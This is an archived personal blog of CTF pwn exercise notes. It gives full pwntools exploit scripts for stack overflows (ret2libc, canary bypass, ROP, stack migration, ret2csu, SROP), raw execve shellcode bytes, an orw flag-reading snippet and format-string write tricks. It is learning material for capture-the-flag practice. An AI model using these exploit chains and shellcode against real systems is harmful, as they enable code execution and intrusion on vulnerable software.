现充|junyu33

(archived) ctf exercises (pwn)

Divided into four parts: stack, fmtstr, heap, and misc, used to record ideas and useful gadgets.

The following second-level headings without a website specified default to the corresponding topic section on buuoj.

updated on 2022/10/23:

The first five pages of buu have been completed, and this column will no longer update specific ideas and exploits.

Next, I may study kernel and high-version house series. Writeups for competition problems will be published in separate articles, with links added in the corresponding sections.

stack

ctfshow-pwn-3: pwn03——ret2libc

You can use https://libc.blukat.me/ to query the addresses of various functions in the libc library, then calculate the actual addresses of other functions based on offsets.

You can also use LibcSearcher to automate this process.

exp (without LibcSearcher):

from pwn import *

context.log_level = 'debug'
context.terminal = ["tmux", "splitw", "-h"]
#io = process("./stack1")
io = remote('pwn.challenge.ctf.show', 28199)

elf = ELF("./stack1")
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = flat(b"A" * (9 + 4), puts_plt, main_addr, puts_got)  # Leak puts_got
io.recvuntil("\n\n")
io.sendline(payload1)
puts_addr = unpack(io.recv(4))
print(hex(puts_addr))
# 0xf7d6d360 Check on https://libc.blukat.me/

puts_libc = 0x067360
system_libc = 0x03cd10
str_bin_sh_libc = 0x17b8cf

base = puts_addr - puts_libc
system = base + system_libc
bin_sh = base + str_bin_sh_libc

payload2 = flat('a' * 13, system, 1, bin_sh )
io.sendline(payload2)
io.interactive()

exp (with LibcSearcher, tested)

from pwn import*
from LibcSearcher import*
elf=ELF('./pwn03')
#io=process('./pwn03')
io=remote('111.231.70.44',28021)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']
payload1=b'a'*13+p32(puts_plt)+p32(main)+p32(puts_got)
io.sendline(payload1)
io.recvuntil('\n\n')
puts_add=u32(io.recv(4))
print(puts_add)

libc=LibcSearcher('puts',puts_add)
libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')
payload2=b'a'*13+p32(sys_add)+b'a'*4+p32(bin_sh)
io.sendline(payload2)
io.interactive()

pwn1_sctf_2016

C++ randomly shows up in this series, and I didn't understand that replace() function at all.

Moreover, if the input length exceeds 31 characters, it gets truncated, making it impossible to cause a stack overflow.

After reading the solution, I learned that replace() replaces every I in the input with you.

Combined with the fact that the vuln() function uses the dangerous strcpy() function at the end, I immediately knew what to do.

Since the offset between the input point and the return address is 60, I just needed to input 20 Is, followed by the address of the backdoor.

It seems that in the future, when encountering strange strings, I should try inputting them—there might be new discoveries.

ctfshow-pwn-4: pwn04——Buffer Overflow with Canary

This is a stack overflow challenge with canary protection, allowing two input operations and outputting the buffer string.

Through IDA debugging, it can be observed that the canary is located adjacent to the buffer string and downstream from it, making it impossible to directly overwrite the return address.

However, the highest byte of the canary is always 0, which leads us to the following approach:

During the first input, fill the buffer completely so that the newline character overwrites the high byte of the canary. Then, during the second input, subtract the ASCII value corresponding to this newline character.

from pwn import*
context.log_level = 'debug'
#elf=ELF('./stack1')
io=process('./ex2')
#io=remote('pwn.challenge.ctf.show', 28140)

payload1=b'I'*100
io.recvuntil('\n')
io.sendline(payload1)
fst_str = io.recvuntil('\x68') # A fixed byte after the canary
#print(hex(u32(fst_str[-5:-1])))

canary = u32(fst_str[-5:-1])
payload2=b'I'*100+p32(canary-0xa)+b'bbbbccccdddd'+p32(0x804859b) # '0xa' is the ASCII value of the newline character
io.sendline(payload2)

io.interactive()

So this is called a format string vulnerability after all

ctfshow-pwn-6: pwn06—64bit Buffer Overflow

One difference between 64-bit stack overflow and 32-bit is the need to maintain stack balance, thus requiring two returns.

However, locally, I succeeded with just one return. Still unsure of the reason.

from pwn import*
#context.log_level = 'debug'

#elf=ELF('./stack1')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show', 28122)

payload1=b'I'*12+b'AAAAAAAA'+p64(0x4005b6)+p64(0x400577)
io.sendline(payload1)

io.interactive()

ctfshow-pwn-7: pwn07—64bit ret2libc

A 64-bit pwn3.

Since the parameter passing method in 64-bit is "first 6 in registers, then using the stack," the values of the registers need to be popped during stack unwinding. Therefore, it is necessary to find the values of pop_rdi and pop_ret and insert them into the payload.

Commands to find the addresses of pop_rdi and pop_ret instructions:

ROPgadget --binary pwn --only 'pop|ret' 

Then the payload format is as follows:

# for 32 bit
b'a'*offset + p32(puts_plt) + p32(ret_addr) + p32(puts_got)
b'a'*offset + p32(sys_addr) + b'A'*4 + p32(str_bin_sh)
# for 64 bit
b'a'*offset + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(ret_addr)
b'a'*offset + """p64(pop_ret)""" + p64(pop_rdi) + p64(str_bin_sh) + p64(sys_addr)

exp (with LibcSearcher, tested)

# ctf.show - libc6_2.27
from pwn import*
from LibcSearcher import*
context.log_level = 'debug'
elf=ELF('./pwn')
#io=process('./pwn')
io=remote('pwn.challenge.ctf.show',28184)
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
main=elf.symbols['main']

pop_rdi = 0x4006e3
pop_ret = 0x4004c6

payload1=b'a'*20+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload1)
io.recvline()
str_first = io.recv(6).ljust(8,b'\x00')
puts_add=u64(str_first)
print(hex(puts_add))

libc=LibcSearcher('puts',puts_add)

libcbase=puts_add-libc.dump('puts')
sys_add=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

payload2=b'a'*20+p64(pop_ret)+p64(pop_rdi)+p64(bin_sh)+p64(sys_add)
io.sendline(payload2)
io.interactive()

However, it's strange that this code doesn't work locally again

ciscn_2019_c_1

A pwn07 with encryption. (Testing revealed that it's actually possible to get a shell without processing the input.)

Exploit code to obtain the GOT table address:

io.recvuntil('!\n')
io.sendline(b'1')
io.recvuntil('\n')
payload1=b'l'*88+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.sendline(payload1)
io.recvline()
io.recvline()

str_first = io.recv(6).ljust(8,b'\x00')

Specifically, this location:

Why is the address of pop_rdi still at that location, and why has the length become shorter?

xctf-pwn-(beginner)-7: cgpwn2——ret2libc with system

A ret2libc attack with system but without /bin/sh. The key part is as follows:

payload = b'a'*42 + p32(gets_plt) + p32(pop_ebx) + p32(buf2) + p32(system_plt) + p32(0xdeadbeef) + p32(buf2)
io.sendline(payload)
io.sendline('cat flag')

Will explain the principle when I have time.

xctf-pwn-(beginner)-8: level3—ret2libc without puts

It's still ret2libc, but there is no puts function, so the payload to leak the libc address needs to be adjusted:

payload = flat([b'A' * 140, write_plt, main, 1, write_got, 4]) # the last three are arguments of "write"

Unfortunately, this time the Libcsearcher matches were not useful, but the challenge provided a libc_32.so.6 file. We need to use this file to import the libc library locally.

libc=ELF('./libc_32.so.6') #import

libcbase = libc_start_main_addr - libc.symbols['write'] 
system_addr = libcbase + libc.symbols['system'] #leak
binsh_addr = libcbase + 'bin_sh_addr' # we can't use 'symbols' to get address, we do it manually.

So what about 'bin/sh'? Use this bash command:

strings -a -t x libc_32.so.6 | grep "bin/sh" 

How to Connect with libc Locally – 3/18/2022

ls -l /lib/x86_64-linux-gnu/libc.so.6 # Find your local libc. For example, it's "libc-2.27.so" in WSL Ubuntu 18.04.
# Make sure to adjust your "import" statements and your "strings & grep" commands accordingly.

Achievement Unlocked: Finished the xctf-pwn beginner section! 🎉

get_started_3dsctf_2016——rop1

32bit.

The program provides a backdoor to read the flag, but requires passing two correct parameters.

Learned GDB debugging and recalled that the return address is separated from the function parameters by one return address. Function parameters are written in positive order.

The program flushes the buffer address upon exit, allowing the use of recv() to obtain file output.

from pwn import*
from LibcSearcher import*

#io = process(argv = ['./get_started_3dsctf_2016'])
io = remote('node4.buuoj.cn', 27428)

backdoor = 0x80489a0
exit_addr = 0x804e6a0
arg1 = 0x308CD64F
arg2 = 0x195719D1
#gdb.attach(io, 'b *0x8048a3d')
context.log_level = 'debug'

payload1 = b'a'*56 + p32(backdoor) + p32(exit_addr) +p32(arg1) + p32(arg2)

io.sendline(payload1)

print(io.recv())

#io.interactive()

not_the_same_3dsctf_2016——rop2

There is a function that has already read the flag value and stored it at the location fl4g. Therefore, we first use this function to overwrite the return address, reading the flag into memory starting at the address fl4g. Next, we attempt to leak the content from this location to obtain the flag. For this, we need the write function. Since write requires three parameters, we also need an instruction to pop three registers to clean up the stack. The final p32(0) corresponds to the ret operation included in the pop instruction, so an additional return address is needed. Since we have already output the flag, the return address does not matter and can be arbitrary. The specific exploit is as follows:

Copyright Notice: This article is an original work by the blogger "ShouCheng3" on CSDN, following the CC 4.0 BY-SA copyright license. Please include the original source link and this notice when reprinting. Original link: https://blog.csdn.net/qq_51232724/article/details/124057645

I don't quite understand this ROP operation. Actually, replacing that pop3 with another address doesn't seem to make a difference.

Now I understand—since this is 32-bit, the following three items serve as parameters and do not require register popping.

from pwn import *
from LibcSearcher import *
#io = process('123')
io = remote('node4.buuoj.cn', 27043)
elf = ELF('123')
context.log_level = 'debug'

flag_addr = 0x80eca2d
get_flag = 0x80489a0
pop3 = 0x80483b8
write_addr = elf.symbols['write']
#print(hex(write_addr))

payload = b'a'*(45) + p32(get_flag)+p32(write_addr)+p32(pop3)+p32(1)+p32(flag_addr)+p32(42)
#gdb.attach(io, 'break *0x8048a00')
io.sendline(payload)
#io.recv()
print(io.recv())
io.interactive()

[HarekazeCTF2019]baby_rop2——rop3

#rop
#printf("your input is %s!", buf);
payload1 = b'a'*(0x20+8) + p64(pop_rdi) + p64(fmt_addr) #1st argument of printf -> rdi
payload1 += p64(pop_rsi_r15) + p64(read_got) + p64(0) #2nd argument of printf -> rsi
payload1 += p64(printf_plt) + p64(main_addr) #call printf_plt to output the got of read()

payload2 = b'a'*(0x20+8) + p64(pop_rdi) + p64(bin_sh)+ p64(sys_addr)

The reason for using read_got instead of printf_got in the second line is that printf does not support null-terminated truncation at the end.

ciscn_2019_es_2—Stack Migration 1

Applicable when the payload length is limited, this technique writes the ROP chain onto the stack and hijacks the program execution flow to the constructed ROP chain by modifying the value of ebp.

In this challenge, the read length is limited to sizeof(buf) + 8, so the previous retlibc3 method cannot be used directly.

The buffer variable and the upper function's ebp are obtained through dynamic debugging:

As shown in the figure, 0xffffcdd8 - 0xffffcda0 = 0x38 is the offset between the tampered stack frame ebp and the input.

from pwn import *

def hijackebp():
   payload1 = b'a'*0x27 + b'b'
   io.sendafter('Welcome, my friend. What\'s your name?\n', payload1) # !!! send, not sendline !!!
   io.recvuntil('b')
   ebp = u32(io.recv(4)) # the value of ebp ([ebp])
   s = ebp - 0x38 # the offset between [ebp] and your input argument (get this by debugging)
   return s

def exploit(s):
   payload2 = (p32(fake_ebp) + p32(sys_plt) + p32(vul) + p32(s + 0x10) + b'/bin/sh').ljust(0x28, b'\0')
   # fake ret_addr, true ret_addr 
   payload2 += p32(s) + p32(leave)
   # input_addr, leave_ret_rop
   io.sendline(payload2)

if __name__ == "__main__":
   #io = process('./ciscn_2019_es_2')
   io = remote('node4.buuoj.cn', 25446)
   context.log_level = 'debug'
   elf = ELF('./ciscn_2019_es_2')

   sys_plt = elf.sym['system']
   leave = 0x080484b8
   vul = 0x8048595

   input_addr = hijackebp()
   exploit(input_addr)
   
   io.interactive()

ciscn_2019_s_3—ret2csu

The key point of this challenge is to execute the function execve('/bin/sh',0,0). To call this function, the syscall instruction is required, and the following conditions must be met: rax = 0x3b, rdi = <bin_sh_addr>, rsi = rdx = 0.

You can obtain pop rdi and pop rsi gadgets from ROPgadget to successfully pass parameters, and mov rax, 3bh can also be found near the gadgets function. However, there are no direct stack-related instructions involving the rdx register, and the program does not contain the /bin/sh string, so you need to insert it yourself and locate its address on the stack.

By searching for the string rdx in IDA, the only instruction that might change the value of rdx is found in __libc_csu_init. Below is its disassembled code (the latter part):

__libc_csu_init Source

.text:0000000000400580                                   loc_400580:                   ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400580 038 4C 89 EA                      mov     rdx, r13
.text:0000000000400583 038 4C 89 F6                      mov     rsi, r14
.text:0000000000400586 038 44 89 FF                      mov     edi, r15d
.text:0000000000400589 038 41 FF 14 DC                   call    ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
.text:0000000000400589
.text:000000000040058D 038 48 83 C3 01                   add     rbx, 1
.text:0000000000400591 038 48 39 EB                      cmp     rbx, rbp
.text:0000000000400594 038 75 EA                         jnz     short loc_400580
.text:0000000000400594
.text:0000000000400596
.text:0000000000400596                                   loc_400596:                   ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400596 038 48 83 C4 08                   add     rsp, 8
.text:000000000040059A 030 5B                            pop     rbx
.text:000000000040059B 028 5D                            pop     rbp
.text:000000000040059C 020 41 5C                         pop     r12
.text:000000000040059E 018 41 5D                         pop     r13
.text:00000000004005A0 010 41 5E                         pop     r14
.text:00000000004005A2 008 41 5F                         pop     r15
.text:00000000004005A4 000 C3                            retn
.text:00000000004005A4                                   ; } // starts at 400540
.text:00000000004005A4
.text:00000000004005A4                                   __libc_csu_init endp

Our target is the instruction mov rdx, r13. Since r13 is in the pop sequence, we can insert the pop_6 gadget followed by 6 addresses. Among these, r13 and r14 must be set to 0 to match the subsequent jump to chg_rdx.

Next is the issue of call [r12+rbx*8]. Theoretically, this instruction can jump to any address. Here, I chose to jump directly to the next instruction (though it could fully jump to the next gadget), so we can set [r12] = 0x40058d and rbx = 0.

How do we obtain the value of r12? It certainly has a fixed offset from the input address. We can write a gadget pointing to its own payload to additionally print current stack information. I placed the /bin/sh string at the input location. The offset between the input location and the value at input_addr+0x20 can be obtained through dynamic debugging (this offset may differ between remote and local environments, but the difference is small and can be adjusted by trial and error).

To avoid the loop at 0x400594, we should set rbx + 1 == rbp. Here, I set rbp = 1, and then pass 6 arbitrary addresses for popping.

Since mov edi, r15d will zero the upper bits of rdi, we need to set another pop_rdi payload. Finally, call syscall.

🎉 Finished the first page of BUU!

eax_59 = 0x4004e2 # rax = 0x3b
get_sys = 0x400517
pop_rdi = 0x4005a3
vuln = 0x4004ed
pop_6 = 0x40059a
chg_rdx = 0x400580
'''
rax = 59
execve('/bin/sh',0,0); rdi,rsi,rdx

offset = 0x128
'''
def exploit():
   payload0 = b'a'*16 + p64(vuln)
   io.send(payload0)
   input_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))-0x118 # in local it's 0x128
   log.success('input_addr==>'+hex(input_addr))

   payload1 = b'/bin/sh\0' + p64(0x40058d) + p64(eax_59)
   #payload1 += p64(pop_r15) + p64(pop_r15) + p64(get_sys)
   #mov rdi=inputaddr, rsi=0, rdx=0
   payload1 += p64(pop_6) + p64(0) + p64(1) + p64(input_addr+8) + p64(0) + p64(0) + p64(0) 
   payload1 += p64(chg_rdx) + p64(0)*6
   payload1 += p64(pop_rdi) + p64(input_addr)
   payload1 += p64(get_sys)

   io.send(payload1)

[Black Watch Recruitment Challenge] PWN 1—Stack Migration 2

It's so hard to join a group these days

Stack migration requires writing your ROP chain to a fixed segment (such as the .bss section), and then modifying the value of EBP to achieve stack redirection. This technique is suitable for situations where the buffer overflow length is limited.

payload1 = p32(fake_ebp) + p32(write_plt) + p32(vuln) + p32(1) + p32(write_got) + p32(4)
# ROP chain for write_got leak written to the .bss segment
payload2 = b'a'*(24) + p32(bss) + p32(leave_ret)
# Stack overflow in the vuln function, note that the leave instruction increases EBP by 4 bytes

cmcc_simplerop—statically_linked rop

Method to check for static linking: use the file command.

Method 1 — Manual ROP

This ROP chain hands over the read function to the user for input, which is a clever and previously unseen type.

def exploit():
   read = 0x806cd50
   pop_edx_ecx_ebx = 0x806e850
   pop_eax = 0x80bae06
   int_80 = 0x080493e1
   buf = 0x80ec304 # any address inside the program is OK.

   payload = flat([b'a'*32, read, pop_edx_ecx_ebx, 0, buf, 8]) #8 is len('/bin/sh\0')
   payload += flat([pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, buf])
   payload += flat(int_80)
   io.sendline(payload)
   io.sendline(b'/bin/sh\0')

Method 2——Ropper execve

ropper -f <file> --chain execve

Note: The generated syntax is Python 2 syntax, and you need to manually change str to bytes.

Although the ROP chain generated by ropper is shorter than that from ROPgadget, it still does not meet the read length limitation.

def exploit():
   p = lambda x : pack('I', x)

   IMAGE_BASE_0 = 0x08048000
   rebase_0 = lambda x : p(x + IMAGE_BASE_0)

   rop = b'a'*32

   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += b'//bi'
   rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
   rop += rebase_0(0x000a2060)
   rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += b'n/sh'
   rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
   rop += rebase_0(0x000a2064)
   rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += p(0x00000000)
   rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
   rop += rebase_0(0x000a2068)
   rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 
   rop += rebase_0(0x000001c9) # 0x080481c9: pop ebx; ret; 
   rop += rebase_0(0x000a2060)
   rop += rebase_0(0x0009e910) # 0x080e6910: pop ecx; push cs; or al, 0x41; ret; 
   rop += rebase_0(0x000a2068)
   rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
   rop += rebase_0(0x000a2068)
   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += p(0x0000000b)
   rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret; 
   io.sendline(rop)

At this point, manual modification is needed, and the previously learned assembly knowledge comes in handy:

def exploit():
   p = lambda x : pack('I', x)

   IMAGE_BASE_0 = 0x08048000
   rebase_0 = lambda x : p(x + IMAGE_BASE_0)

   rop = b'a'*32

   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += b'/bin'
   rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
   rop += rebase_0(0x000a2060)
   rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 

   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += b'/sh\0'
   rop += rebase_0(0x0002682a) # 0x0806e82a: pop edx; ret; 
   rop += rebase_0(0x000a2064)
   rop += rebase_0(0x0005215d) # 0x0809a15d: mov dword ptr [edx], eax; ret; 

   rop += p(0x806e850) # 0x806e850: pop edx; pop ecx; pop ebx; ret;
   rop += p(0)
   rop += p(0)
   rop += rebase_0(0x000a2060)
   
   rop += rebase_0(0x00072e06) # 0x080bae06: pop eax; ret; 
   rop += p(0x0000000b)
   rop += rebase_0(0x00026ef0) # 0x0806eef0: int 0x80; ret; 
    
   print(len(rop))
   io.sendline(rop)

The length is exactly 100, which passes.

Method 3——mprotect + shellcode

int mprotect(const void *start, size_t len, int prot);

The first parameter is the starting address of the allocated memory, which must be aligned with the memory page, i.e., divisible by 0x1000; the second parameter must also be a multiple of the memory page size; the third parameter defines the memory attributes, where 1 stands for readable, 2 for writable, 4 for executable, and 7 for readable, writable, and executable.

https://blog.csdn.net/A951860555/article/details/115286266

def exploit():
   read = 0x806cd50
   mprotect = 0x806d870
   buf = 0x8050000 # must be multiple of 0x1000
   pop_edx_ecx_ebx = 0x806e850
   shellcode = asm(shellcraft.sh())

   payload = flat([b'a'*32, mprotect, pop_edx_ecx_ebx, buf, 0x1000, 7])
   payload += flat([read, pop_edx_ecx_ebx, 0, buf, len(shellcode)])
   payload += flat(buf)

   io.sendline(payload)
   io.sendline(shellcode)

wustctf2020_getshell_2——System Call

Originally thought stack migration would be needed, but a system call solved it, saving 4 bytes of space.

system_call = 0x8048529
sh = 0x8048670
payload = 'a'*28 + p32(system_call)+p32(sh)

pwnable_start

23-byte shellcode: b'\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80'

Or a 20-byte version: b'\x31\xc9\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'

ret2shellcode, call the write function to leak the stack address.

Celebration for finishing the second page of buu~

def exploit():
   shellcode = b'\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xb0\x0b\xcd\x80'
   payload = b'a'*20 + p32(0x8048087)
   io.send(payload)
   io.recvuntil('CTF:')
   buf = u32(io.recv(4))
   payload = b'a'*20 + p32(buf+0x14) + shellcode
   io.sendline(payload)

nepctf2022: nyancat——syscall

Due to the NX protection being enabled, it is not possible to directly write shellcode.

def exploit():
   payload1 = b'a'*16 + p32(0x80480f0) + p32(0x8048115) 
   payload1 += p32(0) + p32(0x804b090) + p32(0x804b097) + p32(0)
   # 0 is fd, 0x804b090 is buf and the memory of 0x804b097 is 0 (so ebx = edx = 0, ecx = flag_addr)
   # after return, ecx = edx = 0 && ebx = ecx = flag_addr    
   io.send(payload1)

   payload2 = b'/bin/sh'.ljust(0xb, b'\0') # the length of the input (eax) is 0xb, time to getshell
   io.send(payload2)

gyctf_2020_borrowstack - Stack Migration 3

For multiple stack migrations, it is necessary to pre-write the next segment in the BSS section to serve as ebp/rbp.

def exploit():
   puts_got = elf.got['puts']
   puts_plt = elf.plt['puts']

   payload1 = b'a'*offset + p64(bss+0x90) + p64(leave_ret)
   p.send(payload1)
   payload2 = b'\0'*0x90 + p64(bss+0x60) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(read_leave)
   p.send(payload2)

   puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\0'))
   libc_base = puts_addr - libc.sym['puts']
   one_gadget = libc_base + one_gadget_local

   payload3 = b'\0'*0x60 + p64(0) + p64(one_gadget)
   p.send(payload3)

qwb2022_devnull—Stack Migration + ROP

64-bit shellcode: b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

The first stack overflow (off by one) enables input by changing the file descriptor to 0.

The second stack overflow modifies the buf pointer and rbp, and performs a stack migration.

The third stack overflow writes the address where RWX permissions need to be modified into the beginning of the buf, combined with ROP to change the permissions of the given address to RWX, allowing the final shellcode to execute.

Finally, redirect the output to standard error.

shellcode = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'

cross = 0x3fe3c0
leave_ret = 0x401354
chg_rax = 0x401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
mprotect = 0x4012d0

def exploit():
   payload1 = b'a'*0x20 
   p.sendafter('filename\n', payload1)
   payload2 = b'b'*(0x1c-8) + p64(cross-0x10) + p64(cross) + p64(leave_ret)
   p.sendafter('discard\n', payload2)
   payload3 = p64(0x3fe000)*2 + p64(cross+8) + p64(chg_rax) + p64(mprotect) 
   payload3 += p64(0xdeadbeef) + p64(cross+0x28) + shellcode
   p.send(payload3)

jarvisoj_level5—ret2csu2

Used a universal gadget to modify registers.

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/#ret2csu

csu_front_addr = 0x400690
csu_end_addr = 0x4006AA
fakeebp = b'b' * 8
pop_rdi = 0x4006b3

def csu(rbx, rbp, r12, r13, r14, r15, last):
   # pop rbx,rbp,r12,r13,r14,r15
   # rbx should be 0,
   # rbp should be 1,enable not to jump
   # r12 should be the function we want to call
   # rdi=edi=r15d
   # rsi=r14
   # rdx=r13
   payload = b'a' * 0x80 + fakeebp
   payload += p64(csu_end_addr) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)
   payload += p64(csu_front_addr)
   payload += b'a' * 0x38
   payload += p64(last)
   p.send(payload)

def exploit():
   write_got = elf.got['write']
   main_addr = elf.symbols['main']

   csu(0, 1, write_got, 8, write_got, 1, main_addr)
   write_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
   libc_base = write_addr - libc.symbols['write']
   print(hex(write_addr), hex(libc_base))
   system_addr = libc_base + libc.symbols['system']
   binsh_addr = libc_base + next(libc.search(b'/bin/sh\0'))
   payload2 = b'a'*0x88 + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
   p.sendline(payload2)

cmcc_pwnme2

Note the exec_string function:

int exec_string()
{
  char s; // [esp+Bh] [ebp-Dh] BYREF
  FILE *stream; // [esp+Ch] [ebp-Ch]

  stream = fopen(&string, "r");
  if ( !stream )
    perror("Wrong file");
  fgets(&s, 50, stream);
  puts(&s);
  fflush(stdout);
  return fclose(stream);
}

It can redirect the content in string directly to the shell—not sure about the underlying principle.

def exploit():
   payload = b'A' * 112 + p32(elf.sym['gets']) + p32(exec_string) + p32(string_addr)
   io.sendline(payload)
   io.sendline('/flag')

spqr——stack off by null

All protections except ASLR are disabled. The vuln function uses a 16-byte buffer with scanf("%16s", buf).

An off-by-null vulnerability can be used to zero the last byte of RBP. If this happens to be the buffer, it is possible to write assembly via ret, and then use the assembly to call sys_read, write shellcode, and jmp into it.

Due to compiler and system differences, it is not possible to construct shellcode shorter than 8 bytes locally, so the exploit did not succeed in the local environment.

ret = 0x400406
shellcode2 = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05'
def exploit():
   shellcode = asm('''
      xchg rdx, rdi; 
      mov rsi, rdx; 
      syscall; 
      jmp rsi
   ''')
   print(len(shellcode)) # the length is 10, it's unable to getshell

   payload = shellcode.ljust(8, b'\0') + p64(ret)

   io.sendline(payload)
   io.sendline(shellcode2)

Geek Challenge_not bad——orw+stack migration

General orw code for reading flag:

shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('rax','rsp',100)
shellcode += shellcraft.write(1,'rsp',100)
payload = asm(shellcode)
io.send(payload)

exp:

vmmap = 0x123000
jmp_rsp = 0x400a01

def exploit():
   asmcode = asm('''
      xor rax, rax;
      xor rdi, rdi;
      mov rsi, 0x123000;
      mov rdx, 0x1000;
      syscall;
      jmp rsi
   ''')
   payload = asmcode.ljust(40, b'\0') + p64(jmp_rsp)
   payload += asm('''
      sub rsp, 0x30;
      jmp rsp
   ''') # buf(0x20)+rbp(0x8)+ret(0x8)=0x30

   io.send(payload)
   
   shellcode = shellcraft.open('/flag')
   shellcode += shellcraft.read('rax','rsp',100)
   shellcode += shellcraft.write(1,'rsp',100)
   payload = asm(shellcode)
   io.send(payload)

qwb2019_babymimic

A mimic ROP challenge. The program provides both a 32-bit and a 64-bit file, which perform identical functions, with the only difference being the stack size.

Since it is statically compiled, ropper can be used directly to write the ROP chain.

For payload construction, you can refer to this:

Since the payload is first built for the 64-bit version and then adapted for the 32-bit version, here is the 32-bit execution flow:

def exploit():
   # 0x10c+4 32bit
   # 0x110+8 64bit
   ret_10c = 0x08099bbe
   pop_eax_ret = 0x80a8af6 # pop_eax_ret == rop[:4]
   payload = b'a'*0x110+p32(ret_10c)+p32(pop_eax_ret)+rop64.ljust(0x10c, b'\0')+rop[4:] 
   io.send(payload)

rootersctf_2019_srop

The condition to execute sigreturn is only when rax == 15 and a syscall is executed.

You can use the SigreturnFrame() integrated in pwntools to modify specific registers.

In this challenge, the stack is lifted via leave; ret after syscall, setting the buf at a fixed location. In the next input, '/bin/sh\0' is directly written to the specified location, and then sys_execve is called.

def exploit():
   syscall = 0x401033
   buf = 0x402000
   pop_rax_syscall = 0x401032

   frame = SigreturnFrame()
   frame.rax = constants.SYS_read
   frame.rdi = 0
   frame.rsi = buf
   frame.rdx = 0x400
   frame.rbp = buf
   frame.rip = syscall

   payload = b'a'*0x88 + p64(pop_rax_syscall) + p64(15) + bytes(frame)
   io.send(payload)

   frame = SigreturnFrame()
   frame.rax = constants.SYS_execve
   frame.rdi = buf + 0x200
   frame.rsi = 0
   frame.rdx = 0
   frame.rip = syscall

   payload = b'a'*8 + p64(pop_rax_syscall) + p64(15) + bytes(frame)
   payload = payload.ljust(0x200, b'\0') + b'/bin/sh\x00'
   io.send(payload)

360chunqiu2017_smallest——leak stack+srop

We can not only control the return value via sys_read to manipulate rdi, but also leak rsp/rbp through sys_write to obtain the stack address.

According to https://hackeradam.com/x86-64-linux-syscalls/, the syscall number for write is 1, and the file descriptor for stdout is also 1, making this feasible.

After leaking the stack address, there are several approaches (the latter two are from https://bbs.pediy.com/thread-258047-1.htm):

The following uses the first approach:

def exploit():
   io.send(p64(0x4000b0)*3)
   io.send(p8(0xb8)) # rax=1, sys_write
   io.recv(8) 
   stack = u64(io.recv(8)) & 0xfffffffff000
   log.info('stack: ' + hex(stack))
   
   frame=SigreturnFrame()
   frame.rax = constants.SYS_execve
   frame.rdi = stack + 0x520 # random
   frame.rsi = 0
   frame.rdx = 0
   frame.rip = 0x4000be

   io.send(p64(0x4000b0)+p64(0x4000be)+bytes(frame)+b'/bin/sh\0'*95)
   io.send(p64(0x4000be)+bytes(frame)[:7]) # rax=15, sys_rt_sigreturn

fmtstr

xctf-pwn-(beginner)-4: string

Format string vulnerabilities. Gradually becoming less beginner-friendly

For improperly formatted printf functions, the following exploitation methods are available:

Skill 1: Using the printf function to view data on the stack:

1234-%p-%p-%p-%p-%p-...-%p

If this string is printed, all %p placeholders will be replaced by an address.

However, I don't know how these addresses relate to the ones seen during IDA debugging

Skill 2: Modifying data at corresponding positions:

For example, %85d%7$n changes the value at the address corresponding to the 7th %p to 85.

